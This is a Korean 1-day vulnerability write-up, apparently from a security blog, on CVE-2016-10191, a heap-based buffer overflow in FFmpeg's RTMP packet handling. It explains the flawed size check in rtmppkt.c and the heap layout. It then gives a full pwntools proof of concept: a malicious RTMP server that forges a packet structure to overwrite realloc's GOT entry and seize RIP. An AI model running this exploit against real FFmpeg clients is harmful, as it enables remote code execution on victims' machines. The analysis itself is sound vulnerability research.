ii4gsp
[1-day Analysis] CVE-2016-10191 ( Heap-Based Buffer Overflow in FFmpeg RTMP ) 본문
[1-day Analysis] CVE-2016-10191 ( Heap-Based Buffer Overflow in FFmpeg RTMP )
ii4gsp 2021. 8. 16. 22:03Disclosure or Patch Date: At the end of 2016
Product: FFmpeg
Affected Versions: before 2.8.10, 3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2
First Patched Version: FFmpeg 2.8.10, 3.0.5, 3.1.6, 3.2.2
Bug Class: Heap-based buffer overflow
FFmpeg는 오디오 및 비디오 데이터를 다양한 종류의 형태로 변환하는 소프트웨어 프로그램이다.
2016년 말에 CVE-2016-10190, CVE-2016-10192와 함께 발견된 힙 기반 오버플로우 취약점이다.
취약한 버전은 FFmpeg 2.8.10 이전, 3.0.5 이전, 3.1.6 이전, 3.2.2 이전 버전이다.
해당 취약점은 RTMP 패킷을 처리하는 과정에서 발생한다.
CVE-2016-10190과 다르게 좀 더 정교한 익스플로잇을 해야한다.
취약점을 이해하기 전에 RTMP에 대해 알아야한다.
RTMP는 Real-Time Messaging Protocol의 약자로 오디오 및 비디오를 실시간 스트리밍 하기 위해 Adobe에서 개발한 프로토콜이다.
RTMP 프로토콜은 핸드셰이크를 해야한다.
핸드셰이크 과정은 TCP 연결을 설정한 후 먼저 RTMP 연결이 설정되고 각 측면에서 3개의 청크를 교환하면 된다.
이때 각 청크의 최대 크기는 128바이트이다.
128바이트 보다 크면 여러 청크로 나눠서 보낸다.
$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
$ tar xvfz n3.2.1.tar.gz
$ mkdir ~/ffmpeg_build
$ mkdir ~/ffmpeg_bin
$ cd FFmpeg-n3.2.1/
$ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
--disable-stripping
$ make -j 4
$ make install
위와 같이 취약한 버전을 빌드하면 된다.
해당 글은 Ubuntu 16.04 x64 환경에서 빌드하였다.
ii4gsp@ubuntu:~/ffmpeg_bin$ checksec ffmpeg
[*] '/home/ii4gsp/ffmpeg_bin/ffmpeg'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
PIE를 제외한 모든 보호기법이 적용되어있다.
int ff_rtmp_packet_read_internal(URLContext *h, RTMPPacket *p, int chunk_size,
RTMPPacket **prev_pkt, int *nb_prev_pkt,
uint8_t hdr)
{
while (1) {
int ret = rtmp_packet_read_one_chunk(h, p, chunk_size, prev_pkt, // here
nb_prev_pkt, hdr);
if (ret > 0 || ret != AVERROR(EAGAIN))
return ret;
if (ffurl_read(h, &hdr, 1) != 1)
return AVERROR(EIO);
}
}
libavformat/rtmppkt.c
취약점은 rtmppkt.c에 존재한다.
ff_rtmp_packet_read_internal() 함수는 헤더의 1바이트를 읽고 rtmp_packet_read_one_chunk() 함수를 호출한다.
static int rtmp_packet_read_one_chunk(URLContext *h, RTMPPacket *p,
int chunk_size, RTMPPacket **prev_pkt_ptr,
int *nb_prev_pkt, uint8_t hdr)
{
uint8_t buf[16];
int channel_id, timestamp, size;
uint32_t ts_field; // non-extended timestamp or delta field
uint32_t extra = 0;
enum RTMPPacketType type;
int written = 0;
int ret, toread;
RTMPPacket *prev_pkt;
written++;
channel_id = hdr & 0x3F;
if (channel_id < 2) { //special case for channel number >= 64
buf[1] = 0;
if (ffurl_read_complete(h, buf, channel_id + 1) != channel_id + 1)
return AVERROR(EIO);
written += channel_id + 1;
channel_id = AV_RL16(buf) + 64;
}
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt,
channel_id)) < 0)
return ret;
prev_pkt = *prev_pkt_ptr;
size = prev_pkt[channel_id].size;
type = prev_pkt[channel_id].type;
extra = prev_pkt[channel_id].extra;
...
libavformat/rtmppkt.c
rtmp_packet_read_one_chunk() 함수는 프로토콜의 모든 구문을 분석하는 기능을한다.
취약점이 존재하는 함수이기도 하다.
RTMP 패킷에는 헤더에서 읽은 채널 ID가 포함된다.
해당 함수에서는 channel_id 필드가 존재하는데 RTMPPacket 구조체의 식별자로 사용된다.
그리고 ff_rtmp_check_alloc_array() 함수가 존재한다는 점을 기억해주자.
typedef struct RTMPPacket {
int channel_id; ///< RTMP channel ID (nothing to do with audio/video channels though)
RTMPPacketType type; ///< packet payload type
uint32_t timestamp; ///< packet full timestamp
uint32_t ts_field; ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field.
uint32_t extra; ///< probably an additional channel ID used during streaming data
uint8_t *data; ///< packet payload
int size; ///< packet payload size
int offset; ///< amount of data read so far
int read; ///< amount read, including headers
} RTMPPacket;
RTMP 패킷에 해당하는 RTMPPacket 구조체는 위와 같이 정의되어 있다.
if (!prev_pkt[channel_id].read) {
if ((ret = ff_rtmp_packet_create(p, channel_id, type, timestamp, // here
size)) < 0)
return ret;
p->read = written;
p->offset = 0;
prev_pkt[channel_id].ts_field = ts_field;
prev_pkt[channel_id].timestamp = timestamp;
} else {
// previous packet in this channel hasn't completed reading
RTMPPacket *prev = &prev_pkt[channel_id];
p->data = prev->data;
p->size = prev->size;
p->channel_id = prev->channel_id;
p->type = prev->type;
p->ts_field = prev->ts_field;
p->extra = prev->extra;
p->offset = prev->offset;
p->read = prev->read + written;
p->timestamp = prev->timestamp;
prev->data = NULL;
}
p->extra = extra;
...
해당 채널이 존재하지 않으면 ff_rtmp_packet_create() 함수를 호출한다.
int ff_rtmp_packet_create(RTMPPacket *pkt, int channel_id, RTMPPacketType type,
int timestamp, int size)
{
if (size) {
pkt->data = av_realloc(NULL, size); // here
if (!pkt->data)
return AVERROR(ENOMEM);
}
pkt->size = size;
pkt->channel_id = channel_id;
pkt->type = type;
pkt->timestamp = timestamp;
pkt->extra = 0;
pkt->ts_field = 0;
return 0;
}
ff_rtmp_packet_create() 함수에서는 av_realloc() 함수를 호출하여 size 만큼 힙을 할당하고 data 포인터에 할당된 힙 주소를 저장한다.
즉, 헤더에서 읽은 채널 ID가 이전에 할당되지 않았다면 size 만큼 힙이 할당된다.
if (!prev_pkt[channel_id].read) {
if ((ret = ff_rtmp_packet_create(p, channel_id, type, timestamp,
size)) < 0)
return ret;
p->read = written;
p->offset = 0;
prev_pkt[channel_id].ts_field = ts_field;
prev_pkt[channel_id].timestamp = timestamp;
} else {
// previous packet in this channel hasn't completed reading
RTMPPacket *prev = &prev_pkt[channel_id];
p->data = prev->data;
p->size = prev->size;
p->channel_id = prev->channel_id;
p->type = prev->type;
p->ts_field = prev->ts_field;
p->extra = prev->extra;
p->offset = prev->offset;
p->read = prev->read + written;
p->timestamp = prev->timestamp;
prev->data = NULL;
}
p->extra = extra;
...
해당 채널이 존재하면 else 문으로 분기되며 재할당 되지않고 기존의 구조와 버퍼에 데이터가 채워진다.
만약 채널 ID를 첫번째로 할당할 때는 문제가 되지않는다.
그러나 동일한 채널 ID를 두번째 할당할 때 size를 변경해서 보내면 첫번째로 할당된 size와 크기가 달라진다.
동일한 채널 ID를 두번째로 할당할 때 첫번째로 할당한 크기와 동일한지 체크를 하지않아 취약점이 발생한다.
id가 1이고 크기가 0xa0인 패킷을 보내면 위와 같다.
id1을 할당하고 그 후 id가 2이고 크기가 0xa0인 패킷을 보내면 위와 같은 힙 레이아웃을 가지게된다.
id가 1이고 기존의 크기 보다 더 큰 크기가 0x200인 패킷을 다시 보내게되면 위와 같이 힙 오버플로우가 발생하게된다.
RTMPPacket 구조체의 data 포인터 필드는 힙에 할당된 버퍼의 주소를 가리킨다.
RTMPPacket 구조체의 data 포인터 필드를 제어하면 임의의 주소에 쓰기가 가능하다.
int ff_rtmp_check_alloc_array(RTMPPacket **prev_pkt, int *nb_prev_pkt,
int channel)
{
int nb_alloc;
RTMPPacket *ptr;
if (channel < *nb_prev_pkt)
return 0;
nb_alloc = channel + 16;
// This can't use the av_reallocp family of functions, since we
// would need to free each element in the array before the array
// itself is freed.
ptr = av_realloc_array(*prev_pkt, nb_alloc, sizeof(**prev_pkt));
if (!ptr)
return AVERROR(ENOMEM);
memset(ptr + *nb_prev_pkt, 0, (nb_alloc - *nb_prev_pkt) * sizeof(*ptr));
*prev_pkt = ptr;
*nb_prev_pkt = nb_alloc;
return 0;
}
ff_rtmp_check_alloc_array() 함수는 이전 channel_id와 할당 하려는 channel_id를 비교하여 이전에 할당된 channel_id가 더 크면 0을 반환하고 함수를 빠져나간다.
이전에 할당했던 channel_id를 4라고 가정해보면 channel_id와 16을 더하여 RTMPPacket[20]의 배열을 할당한다.
이전에 할당했던 channel_id 보다 할당 하려는 channel_id가 더 크면 할당하려는 channel_id에 16을 더하여 av_realloc_array() 함수의 인자로 넘긴다.
이 때 av_realloc_array() 함수에서는 realloc() 함수를 호출한다.
channel_id 4를 할당하면 16을 더 하여 RTMPPacket[20]의 배열이 할당된다.
그 후 channel_id 15를 할당하면 15 < 20이 되므로 ff_rtmp_check_alloc_array() 함수가 0을 반환하고 해당 함수를 빠져나간다.
우리는 ff_rtmp_check_alloc_array() 함수를 호출하여 realloc() 함수를 트리거 할 수 있다.
이전에 channel_id 4를 할당하였을 때 channel_id 20을 할당한다면 if문에서 20 < 20이 되어 false를 반환하고 할당 하려는 channel_id와 16을 더하고 realloc() 함수에 의해 RTMPPacket[36]의 배열이 할당된다.
channel_id가 작은 경우 힙 레이아웃 배열은 오버플로우 가능한 힙 청크의 위에 할당되어 있어 data 포인터를 조작하지 못한다.
적당히 큰 channel_id를 할당하였을 때 ff_rtmp_check_alloc_array() 함수를 통해 realloc() 함수를 호출하여 더 많은 공간을 재할당하고 버퍼 바로 아래에 할당되어 오버플로우가 가능해진다.
channel_id 4를 할당 후 channel_id 15를 할당하였을 때 힙 메모리이다.
channel_id 4 할당 후 channel_id 20을 할당했을 때의 힙 메모리이다.
from pwn import *
import socket
import struct
import time
import os
bind_ip = '0.0.0.0'
bind_port = 12345
e = ELF('/home/ii4gsp/ffmpeg_bin/ffmpeg')
realloc_got = e.got['realloc']
log.info('realloc_got : ' + hex(realloc_got))
def p24(data):
packed_data = struct.pack(">I", data)[1:]
assert(len(packed_data) == 3)
return packed_data
def create_payload(channel_id, data, size):
payload = ''
payload += p8((1 << 6) + channel_id) # hdr
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # type
payload += data # data
return payload
def create_rtmp_packet(channel_id, addr, size=0x5151):
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra
data += p64(addr) # data
data += p32(size) # size
data += p32(0) # offset
data += p64(0x180) # read
return data
def handle_request(client_socket):
# Handshake
v = client_socket.recv(1)
client_socket.send(p8(3))
payload = ''
payload += '\x00' * 4
payload += '\x00' * 4
payload += os.urandom(1536 - 8)
client_socket.send(payload)
client_socket.send(payload)
client_socket.recv(1536)
client_socket.recv(1536)
payload = create_payload(4, 'A' * 0x80, 0xa0)
client_socket.send(payload)
payload = create_payload(20, 'B' * 0x80, 0xa0)
client_socket.send(payload)
data = ''
data += 'C' * 0x20
data += p64(0)
data += p64(0x6a1)
data += 'C' * (0x80 - len(data))
payload = create_payload(4, data, 0x2000)
client_socket.send(payload)
data = ''
data += 'D' * 0x10
data += create_rtmp_packet(2, realloc_got)
data += 'D' * (0x80 - len(data))
payload = create_payload(4, data, 0x1800)
client_socket.send(payload)
data = ''
data += 'E' * 0x80
payload = create_payload(2, data, 0x1800)
client_socket.send(payload)
# Trigger
payload = create_payload(63, 'F', 1)
client_socket.send(payload)
log.info('Triggerd.')
sleep(3)
client_socket.close()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((bind_ip, bind_port))
s.listen(5)
while True:
print 'Waiting for new client...'
client_socket, addr = s.accept()
handle_request(client_socket)
if __name__ == '__main__':
main()
RIP를 조작하기 위한 POC 코드이다.
def create_payload(channel_id, data, size):
payload = ''
payload += p8((1 << 6) + channel_id) # hdr
payload += '\0\0\0' # ts_field
payload += p24(size) # size
payload += p8(0x00) # type
payload += data # data
return payload
create_payload() 함수는 데이터를 RTMP 프로토콜 형태로 만들어 준다.
def create_rtmp_packet(channel_id, addr, size=0x5151):
data = ''
data += p32(channel_id) # channel_id
data += p32(0) # type
data += p32(0) # timestamp
data += p32(0) # ts_field
data += p64(0) # extra
data += p64(addr) # data
data += p32(size) # size
data += p32(0) # offset
data += p64(0x180) # read
return data
create_rtmp_packet() 함수는 힙에 fake rtmp 구조체를 만드는데 사용된다.
def handle_request(client_socket):
# Handshake
v = client_socket.recv(1)
client_socket.send(p8(3))
payload = ''
payload += '\x00' * 4
payload += '\x00' * 4
payload += os.urandom(1536 - 8)
client_socket.send(payload)
client_socket.send(payload)
client_socket.recv(1536)
client_socket.recv(1536)
RTMP 프로토콜 특성상 핸드셰이크를 해야하는데 핸드셰이크는 위와 같이 처리한다.
def handle_request(client_socket):
...
payload = create_payload(4, 'A' * 0x80, 0xa0)
client_socket.send(payload)
payload = create_payload(20, 'B' * 0x80, 0xa0)
client_socket.send(payload)
data = ''
data += 'C' * 0x20
data += p64(0)
data += p64(0x6a1)
data += 'C' * (0x80 - len(data))
payload = create_payload(4, data, 0x2000)
client_socket.send(payload)
data = ''
data += 'D' * 0x10
data += create_rtmp_packet(2, realloc_got)
data += 'D' * (0x80 - len(data))
payload = create_payload(4, data, 0x1800)
client_socket.send(payload)
data = ''
data += 'E' * 0x80
payload = create_payload(2, data, 0x1800)
client_socket.send(payload)
# Trigger
payload = create_payload(63, 'F', 1)
client_socket.send(payload)
log.info('Triggerd.')
sleep(3)
client_socket.close()
핸드셰이크 이후 channel_id 4, 데이터, 사이즈를 보낸다.
그 후 channel_id 20을 보내 ff_rtmp_check_alloc_array() 함수를 호출하여 재할당을 트리거한다.
다시 channel_id 4로 사이즈를 0x2000으로 수정 후 데이터를 보내면 오버플로우가 일어난다.
create_rtmp_packet() 함수를 호출하여 channel_id 2와 data 포인터를 realloc() 함수의 got로 fake rtmp 구조를 만들고 데이터를 보내면 힙에 fake rtmp 구조가 할당된다.
그 후 데이터 'E'를 channel_id 2에 쓰면 realloc() 함수의 got가 조작된다.
조작된 realloc() 함수의 got를 트리거 하기 위해 channel_id를 63으로 전달하여 ff_rtmp_check_alloc_array() 함수가 호출된다.
ff_rtmp_check_alloc_array() 함수에서는 realloc() 함수를 호출하기 때문에 RIP를 제어할 수 있다.
fake rtmp를 힙에 배치했을때 메모리이다.
data 포인터가 realloc() 함수의 got 주소인 0x1646990을 가리키고 있다.
realloc() 함수의 got에 데이터를 쓰기 전 got는 realloc() 함수의 실제 주소 0x00007ffff517e710를 가리키고 있다.
realloc() 함수의 got에 데이터를 덮어쓰면 0x4545454545454545를 가리키게 된다.
channel_id 63을 보내면 ff_rtmp_check_alloc_array() 함수에서 av_realloc_array() 함수를 호출하여 realloc() 함수를 트리거 한다.
realloc() 함수를 호출할때 got가 임의의 조작된 주소를 호출하여 RIP를 제어할 수 있게된다.
'시스템 해킹 > Software' 카테고리의 다른 글
[1-day Analysis] CVE-2016-10190 ( Heap-Based Buffer Overflow in FFmpeg ) (0) | 2021.08.05 |
---|